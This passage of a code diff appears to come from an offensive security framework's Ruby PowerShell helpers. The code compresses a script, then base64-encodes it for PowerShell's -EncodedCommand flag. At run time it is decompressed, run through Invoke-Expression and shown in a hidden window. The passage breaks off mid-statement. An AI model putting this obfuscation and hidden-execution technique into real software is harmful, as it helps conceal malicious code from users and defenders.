psh_expression << "$stream.ReadByte()|Out-Null;" - psh_expression << "$stream.ReadByte()|Out-Null;" - # Uncompress and invoke the expression (execute) - psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader(" - psh_expression << "$(New-Object IO.Compression.DeflateStream(" - psh_expression << "$stream," - psh_expression << "[IO.Compression.CompressionMode]::Decompress))," - psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());" - - # If eof is set, add a marker to signify end of script output - if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end - - # Convert expression to unicode - unicode_expression = Rex::Text.to_unicode(psh_expression) - - # Base64 encode the unicode expression - encoded_expression = Rex::Text.encode_base64(unicode_expression) - - return encoded_expression + psh.compress_code(eof) end # - # Runs powershell in hidden window raising interactive proc msg + # Generate a powershell command line, options are passed on to + # generate_psh_args # - def run_hidden_psh(ps_code,ps_bin='powershell.exe') - ps_args = " -EncodedCommand #{ compress_script(ps_code) } " + # @param opts [Hash] The options to generate the command line + # @option opts [String] :path Path to the powershell binary + # @option opts [Boolean] :no_full_stop Whether powershell binary + # should include .exe + # + # @return [String] Powershell command line with arguments + def generate_psh_command_line(opts) + if opts[:path] and (opts[:path][-1, 1] != '\\') + opts[:path] << '\\' + end - ps_wrapper = <